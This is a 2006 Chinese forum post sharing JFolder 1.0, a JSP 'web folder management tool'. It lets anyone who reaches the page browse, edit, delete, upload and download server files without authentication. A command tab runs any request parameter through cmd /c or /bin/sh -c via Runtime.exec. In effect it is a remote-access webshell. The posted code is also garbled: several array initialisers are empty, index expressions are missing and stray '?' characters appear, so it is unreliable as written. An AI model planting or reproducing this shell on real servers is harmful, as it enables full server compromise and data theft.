慈勤强的JFolder1.0版代码(JSP)

linker · 发表于 2006-5-13 15:07:51

这个版本主要是兼容了Unix、Linux等操作系统，真正的不再受系统平台的限制。
在0.9测试版发布以后，很多朋友都给了我很好的意见和建议，
对于日常的应用，这个版本应该足够了
在下一个版本中，会增加更多的功能。
在此感谢 Boris von Loesch,古典Lam,CitySuSu等人的帮助

<%
/**
JFileMan V1.0?windows platform
@Filename： JFolder.jsp
@Description：一个简单的系统文件目录显示程序，类似于资源管理器，提供基本的文件操作，不过功能弱多了。
@Author： Steven Cee
@Email ： cqq1978@Gmail.com
@Bugs?:?下载时，中文文件名无法正常显示；Unix操作系统上传
*/
%>
<%@page errorPage="/"%>
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=1; //Language,0 : Chinese; 1:English
String strThisFile="JFileMan.jsp";
String strSeparator = File.separator;
String[] authorInfo={" <font color=red> 写的不好，将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage? = {"文件管理","File Management"};
String[] strCommand???= {"CMD 命令","Command Window"};
String[] strSysProperty?= {"系统属性","System Property"};
String[] strHelp???? = {"帮助","Help"};
String[] strParentFolder = {"上级目录","arent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers???= ;
String[] strFileName?? = {"文件名称","File Name"};
String[] strFileSize?? = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= ;
String[] strFileEdit?? = ;
String[] strFileDown?? = ;
String[] strFileCopy?? = ;
String[] strFileDel???= ;
String[] strExecute???= ;
String[] strBack???? = ;
String[] strFileSave?? = ;

public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{

}
}

public static class UploadMonitor {

static Hashtable uploadTable = new Hashtable();

static void set(String fName, UplInfo info) {
?uploadTable.put(fName, info);
}

static void remove(String fName) {
?uploadTable.remove(fName);
}

static UplInfo getInfo(String fName) {
?UplInfo info = (UplInfo) uploadTable.get(fName);
?return info;
}
}

public class UplInfo {

public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;

public UplInfo() {
?totalSize = 0l;
?currSize = 0l;
?starttime = System.currentTimeMillis();
?aborted = false;
}

public UplInfo(int size) {
?totalSize = size;
?currSize = 0;
?starttime = System.currentTimeMillis();
?aborted = false;
}

public String getUprate() {
?long time = System.currentTimeMillis() - starttime;
?if (time != 0) {
? long uprate = currSize * 1000 / time;
? return convertFileSize(uprate) + "/s";
?}
?else return "n/a";
}

public int getPercent() {
?if (totalSize == 0) return 0;
?else return (int) (currSize * 100 / totalSize);
}

public String getTimeElapsed() {
?long time = (System.currentTimeMillis() - starttime) / 1000l;
?if (time - 60l >= 0){
? if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
? else return time / 60 + ":0" + (time % 60) + "m";
?}
?else return time<10 ? "0" + time + "s": time + "s";
}

public String getTimeEstimated() {
?if (currSize == 0) return "n/a";
?long time = System.currentTimeMillis() - starttime;
?time = totalSize * time / currSize;
?time /= 1000l;
?if (time - 60l >= 0){
? if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
? else return time / 60 + ":0" + (time % 60) + "m";
?}
?else return time<10 ? "0" + time + "s": time + "s";
}

}

public class FileInfo {

public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);

public void setFileContents(byte[] aByteArray) {
?fileContents = new byte[aByteArray.length];
?System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;

public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
? int clength) throws IllegalArgumentException, IOException {
?if (is == null) throw new IllegalArgumentException("InputStream");
?if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
??"\"" + boundary + "\" is an illegal boundary indicator");
?boundary = "--" + boundary;
?StringTokenizer stLine = null, stFields = null;
?FileInfo fileInfo = null;
?Hashtable dataTable = new Hashtable(5);
?String line = null, field = null, paramName = null;
?boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
?boolean isFile = false;
?if (saveFiles) { // Create the required directory (including parent dirs)
? File f = new File(saveInDir);
? f.mkdirs();
?}
?line = getLine(is);
?if (line == null || !line.startsWith(boundary)) throw new IOException(
??"Boundary not found; boundary = " + boundary + ", line = " + line);
?while (line != null) {
? if (line == null || !line.startsWith(boundary)) return dataTable;
? line = getLine(is);
? if (line == null) return dataTable;
? stLine = new StringTokenizer(line, ";\r\n");
? if (stLine.countTokens() < 2) throw new IllegalArgumentException(
?? "Bad data in second line");
? line = stLine.nextToken().toLowerCase();
? if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
?? "Bad data in second line");
? stFields = new StringTokenizer(stLine.nextToken(), "=\"");
? if (stFields.countTokens() < 2) throw new IllegalArgumentException(
?? "Bad data in second line");
? fileInfo = new FileInfo();
? stFields.nextToken();
? paramName = stFields.nextToken();
? isFile = false;
? if (stLine.hasMoreTokens()) {
??field = stLine.nextToken();
??stFields = new StringTokenizer(field, "=\"");
??if (stFields.countTokens() > 1) {
?? if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
???fileInfo.name = paramName;
???String value = stFields.nextToken();
???if (value != null && value.trim().length() > 0) {
??? fileInfo.clientFileName = value;
??? isFile = true;
???}
???else {
??? line = getLine(is); // Skip "Content-Type:" line
??? line = getLine(is); // Skip blank line
??? line = getLine(is); // Skip blank line
??? line = getLine(is); // Position to boundary line
??? continue;
???}
?? }
??}
??else if (field.toLowerCase().indexOf("filename") >= 0) {
?? line = getLine(is); // Skip "Content-Type:" line
?? line = getLine(is); // Skip blank line
?? line = getLine(is); // Skip blank line
?? line = getLine(is); // Position to boundary line
?? continue;
??}
? }
? boolean skipBlankLine = true;
? if (isFile) {
??line = getLine(is);
??if (line == null) return dataTable;
??if (line.trim().length() < 1) skipBlankLine = false;
??else {
?? stLine = new StringTokenizer(line, ": ");
?? if (stLine.countTokens() < 2) throw new IllegalArgumentException(
??? "Bad data in third line");
?? stLine.nextToken(); // Content-Type
?? fileInfo.fileContentType = stLine.nextToken();
??}
? }
? if (skipBlankLine) {
??line = getLine(is);
??if (line == null) return dataTable;
? }
? if (!isFile) {
??line = getLine(is);
??if (line == null) return dataTable;
??dataTable.put(paramName, line);
??// If parameter is dir, change saveInDir to dir
??if (paramName.equals("dir")) saveInDir = line;
??line = getLine(is);
??continue;
? }
? try {
??UplInfo uplInfo = new UplInfo(clength);
??UploadMonitor.set(fileInfo.clientFileName, uplInfo);
??OutputStream os = null;
??String path = null;
??if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
???fileInfo.clientFileName));
??else os = new ByteArrayOutputStream(ONE_MB);
??boolean readingContent = true;
??byte previousLine[] = new byte[2 * ONE_MB];
??byte temp[] = null;
??byte currentLine[] = new byte[2 * ONE_MB];
??int read, read3;
??if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
?? line = null;
?? break;
??}
??while (readingContent) {
?? if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
???line = null;
???uplInfo.aborted = true;
???break;
?? }
?? if (compareBoundary(boundary, currentLine)) {
???os.write(previousLine, 0, read - 2);
???line = new String(currentLine, 0, read3);
???break;
?? }
?? else {
???os.write(previousLine, 0, read);
???uplInfo.currSize += read;
???temp = currentLine;
???currentLine = previousLine;
???previousLine = temp;
???read = read3;
?? }//end else
??}//end while
??os.flush();
??os.close();
??if (!saveFiles) {
?? ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
?? fileInfo.setFileContents(baos.toByteArray());
??}
??else fileInfo.file = new File(path);
??dataTable.put(paramName, fileInfo);
??uplInfo.currSize = uplInfo.totalSize;
? }//end try
? catch (IOException e) {
??throw e;
? }
?}
?return dataTable;
}

/**
?* Compares boundary string to byte array
?*/
private boolean compareBoundary(String boundary, byte ba[]) {
?byte b;
?if (boundary == null || ba == null) return false;
?for (int i = 0; i < boundary.length(); i++)
? if ((byte) boundary.charAt(i) != ba) return false;
?return true;
}

/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
?byte b[] = new byte[1024];
?int read = sis.readLine(b, 0, b.length), index;
?String line = null;
?if (read != -1) {
? line = new String(b, 0, read);
? if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
?}
?return line;
}

public String getFileName(String dir, String fileName) throws IllegalArgumentException {
?String path = null;
?if (dir == null || fileName == null) throw new IllegalArgumentException(
??"dir or fileName is null");
?int index = fileName.lastIndexOf('/');
?String name = null;
?if (index >= 0) name = fileName.substring(index + 1);
?else name = fileName;
?index = name.lastIndexOf('\\');
?if (index >= 0) fileName = name.substring(index + 1);
?path = dir + File.separator + fileName;
?if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
?else return path.replace('/', File.separatorChar);
}
} //End of class HttpMultiPartParser

String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)=='\\')
{
?sb.append("\\\\");
}
else
{
?sb.append(p.charAt(i));
}
}
return sb.toString();
}

/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == '&') return "&";
else if (i == '<') return "<";
else if (i == '>') return ">";
else if (i == '"') return """;
else return "" + (char) i;
}

/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
?buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append(" <a href=\"<I>javascript</I>:doForm('','"+roots+strSeparator+"','','','1','');\">");
sb.append(roots+"</a>");
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
//bug 5.09M 显示5.9M
String strUnit="Bytes";
String strAfterComma="";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = "MB";
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = "KB";
intDivisor=1024;
}
if(intDivisor==1) return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
if(strAfterComma=="") strAfterComma=".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
String strOS = System.getProperty("os.name").toLowerCase();
//out.print(strPath);
if((tabID==null) || tabID.equals(""))
{
tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath(".");
}

if(strAction!=null && strAction.equals("down"))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append("文件大小为 0 字节，就不用下了吧");
}
else
{
response.setHeader("content-type","text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
?out.write(i);
}
fileInputStream.close();
out.close();
}
}

if(strAction!=null && strAction.equals("del"))
{
File f=new File(strPath);
f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
sbEdit.append("<input type=hidden name=action value=save >\r\n");
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
String line="";
while((line=br.readLine())!=null)
{
sbEdit.append(htmlEncode(line)+"\r\n");?
}
?sbEdit.append("</textarea>");
sbEdit.append("<input type=hidden name=path value="+strDir+">");
sbEdit.append("</form>");
}

if(strAction!=null && strAction.equals("save"))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter("content");
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
File f=new File(strPath);
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbCopy.append("原始文件： "+strPath+"<p>");
sbCopy.append("目标文件： <input type=text name=file2 size=40 value='"+strDir+"'><p>");
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>\r\n");
sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
File f=new File(strPath);
String strDesFile=request.getParameter("file2");
if(strDesFile==null || strDesFile.equals(""))
{
sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
?sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
}
else
{
?String strTmpFile=strDesFile;
?if(f_des.isDirectory())
?{
? if(!strDesFile.endsWith(strSeparator))
? {
??strDesFile=strDesFile+strSeparator;
? }
? strTmpFile=strDesFile+"cqq_"+strFile;
? }
?
?File f_des_copy=new File(strTmpFile);
?FileInputStream in1=new FileInputStream(f);
?FileOutputStream out1=new FileOutputStream(f_des_copy);
?byte[] buffer=new byte[1024];
?int c;
?while((c=in1.read(buffer))!=-1)
?{
? out1.write(buffer,0,c);
?}
?in1.close();
?out1.close();

?sbSaveCopy.append("原始文件："+strPath+"<p>");
?sbSaveCopy.append("目标文件："+strTmpFile+"<p>");
?sbSaveCopy.append("<font color=red>复制成功！</font>");?
}?
}
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
String strF=request.getParameter("fileName");
String strType1=request.getParameter("btnNewFile");
String strType2=request.getParameter("btnNewDir");
String strType="";
if(strType1==null)
{
strType="Dir";
}
else if(strType2==null)
{
strType="File";
}
if(!strType.equals("") && !(strF==null || strF.equals("")))
{?
?File f_new=new File(strF);?
?if(strType.equals("File") && !f_new.createNewFile())
? sbNewFile.append(strF+" 文件创建失败");
?if(strType.equals("Dir") && !f_new.mkdirs())
? sbNewFile.append(strF+" 目录创建失败");
}
else
{
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
}
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
String tempdir=".";
boolean error=false;
response.setContentType("text/html");
HttpMultiPartParser parser = new HttpMultiPartParser();

int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null)
{

FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
?f1.delete();
?request.setAttribute("error", "Upload aborted");
}
else
{
?String path = (String) ht.get("path");
?
?if(path!=null && !path.endsWith(strSeparator))
? path = path + strSeparator;
? strDir = path;
?//out.println(path + f1.getName());
?if (!f1.renameTo(new File(path + f1.getName())))
?{
? request.setAttribute("error", "Cannot upload file.");
? out.println("error,upload ");
? error = true;
? f1.delete();
?}
}
}
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/<I>javascript</I>">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks.style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload

</script>
<script language="<I>javascript</I>">

function doForm(action,path,file,cmd,tab,content)
{
document.frmCqq.action.value=action;
document.frmCqq.path.value=path;
document.frmCqq.file.value=file;
document.frmCqq.cmd.value=cmd;
document.frmCqq.tabID.value=tab;
document.frmCqq.content.value=content;
if(action=="del")
{
if(confirm("确定要删除文件 "+file+" 吗？"))
document.frmCqq.submit();
}
else
{
document.frmCqq.submit();??
}
}
</script>

<title>JFoler 1.0 ---A jsp based web folder management tool by Steven Cee</title>
<head>

<body>

<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>


<ul id="tablist">
<li><a href="http://www.topronet.com" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
<%=authorInfo[languageNo]%>
</ul>


<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append("<tr><td ></td><td><a href=\"<I>javascript</I>:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");

}
for(int i=0;i<list.length;i++)
{
if(list.isDirectory())
{
?sbFolder.append("<tr><td ></td><td>");
?sbFolder.append("?<a href=\"<I>javascript</I>:doForm('','"+formatPath(list.getAbsolutePath())+"','','"+strCmd+"','1','');\">");
?sbFolder.append(list.getName()+"</a><br></td></tr> ");
}
else
{
?? String strLen="";
?String strDT="";
?long lFile=0;
?lFile=list.length();
?strLen = convertFileSize(lFile);
?Date dt=new Date(list.lastModified());
?strDT=dt.toLocaleString();
?sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
?sbFile.append(""+list.getName());
?sbFile.append("</td><td>");
?sbFile.append(""+strLen);
?sbFile.append("</td><td>");
?sbFile.append(""+strDT);
?sbFile.append("</td><td>");

?sbFile.append(" <a href=\"<I>javascript</I>:doForm('edit','"+formatPath(strDir)+"','"+list.getName()+"','"+strCmd+"','"+tabID+"','');\">");
?sbFile.append(strFileEdit[languageNo]+"</a> ");

?sbFile.append(" <a href=\"<I>javascript</I>:doForm('del','"+formatPath(strDir)+"','"+list.getName()+"','"+strCmd+"','"+tabID+"','');\">");
?sbFile.append(strFileDel[languageNo]+"</a> ");

?sbFile.append("?<a href=\"<I>javascript</I>:doForm('down','"+formatPath(strDir)+"','"+list.getName()+"','"+strCmd+"','"+tabID+"','');\">");
?sbFile.append(strFileDown[languageNo]+"</a> ");

?sbFile.append("?<a href=\"<I>javascript</I>:doForm('copy','"+formatPath(strDir)+"','"+list.getName()+"','"+strCmd+"','"+tabID+"','');\">");
?sbFile.append(strFileCopy[languageNo]+"</a> ");
}?

}
}
catch(Exception e)
{
out.println("<font color=red>操作失败： "+e.toString()+"</font>");
}
%>

<DIV id="tabcontentcontainer">

<div id="menu3" class="tabcontent">
<br>
<br> 未完成<%=strOS%>
<br> <%
//Properties prop = new Properties(System.getProperties());?
//prop.list(out);
%>

<br>

</div>

<div id="menu4" class="tabcontent">
<br>
<p>一、功能说明</p>
<p> jsp 版本的文件管理器，通过该程序可以远程管理服务器上的文件系统，您可以新建、修改、</p>
<p>删除、下载文件和目录。对于windows系统，还提供了命令行窗口的功能，可以运行一些程序，类似</p>
<p>与windows的cmd。</p>
<p></p>
<p>二、测试</p>
<p><b>请大家在使用过程中，有任何问题，意见或者建议都可以给我留言，以便使这个程序更加完善和稳定，<p>
留言地址为：<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
<p></p>
<p>三、更新记录</p>
<p> 2004.11.29 V1.0测试版发布，修正了Linux系统上的一些问题，在Linux系统上也可以使用。</p>
<p> 2004.11.15 V0.9测试版发布，增加了一些基本的功能，文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
<p> 2004.10.27 暂时定为0.6版吧，提供了目录文件浏览功能和 cmd功能</p>
<p> 2004.09.20 第一个jsp程序就是这个简单的显示目录文件的小程序</p>
<p></p>
<p></p>
</div>

<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"： <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
???
??? <tr>
???? <td width="25%" align="center" valign="top">
?????? <table width="98%" border="0" cellspacing="0" cellpadding="3">
??<%=sbFolder%>
??????? </tr>????????
?????? </table>
???? </td>
???? <td width="81%" align="left" valign="top">

<%
if(strAction!=null && strAction.equals("edit"))
{
out.println(sbEdit.toString());
}
else if(strAction!=null && strAction.equals("copy"))
{
out.println(sbCopy.toString());
}
else if(strAction!=null && strAction.equals("down"))
{
out.println(sbDown.toString());
}
else if(strAction!=null && strAction.equals("savecopy"))
{
out.println(sbSaveCopy.toString());
}
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
{
out.println(sbNewFile.toString());
}
else
{
%>
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
?????? <tr bgcolor="#E7e7e6">
??????? <td width="26%"><%=strFileName[languageNo]%></td>
??????? <td width="19%"><%=strFileSize[languageNo]%></td>
??????? <td width="29%"><%=strLastModified[languageNo]%></td>
??????? <td width="26%"><%=strFileOperation[languageNo]%></td>
?????? </tr>???????
????? <%=sbFile%>
??????
????? </table>
?</span>
<%
}?
%>

???? </td>
??? </tr>

<form name="frmMake" action="" method="post">
<tr><td colspan=2 bgcolor=#FBFFC6>
<input type="hidden" name="action" value="newFile">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<%
if(!strDir.endsWith(strSeparator))
strDir = strDir + strSeparator;
%>
<input type="text" name="fileName" size=36 value="<%=strDir%>">
<input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" >
<input type="submit" name="btnNewDir" value="新建目录"?onclick="frmMake.submit()" >
</form>?
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<input type="file" name="cqqUploadFile" size="36">
<input type="submit" name="submit" value="上传">
</td></tr></form>
?? </table>
</div>
<div id="menu2" class="tabcontent">

<%
String line="";
StringBuffer sbCmd=new StringBuffer("");

if(strCmd!=null)
{
try
{
//out.println(strCmd);
String[] strShell=new String[2];
if(strOS.startsWith("win"))
{
?strShell[0]="cmd";
?strShell[1]="/c";
}
else
{
?strShell[0]="/bin/sh";
?strShell[1]="-c";
}
String[] strCommand=new String[3];
strCommand[0]=strShell[0];
strCommand[1]=strShell[1];
strCommand[2]=strCmd;
System.out.println(strCommand);
Process p=Runtime.getRuntime().exec(strCommand,null,new File(strDir));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
?sbCmd.append(line+"\r\n");?
}??
}
catch(Exception e)
{
System.out.println(e.toString());
}
}
else
{
strCmd = "set";
}

%>
<form name="cmd" action="" method="post">

<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="path" value="<%=strDir%>">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
<br>Any question, please email me cqq1978@Gmail.com

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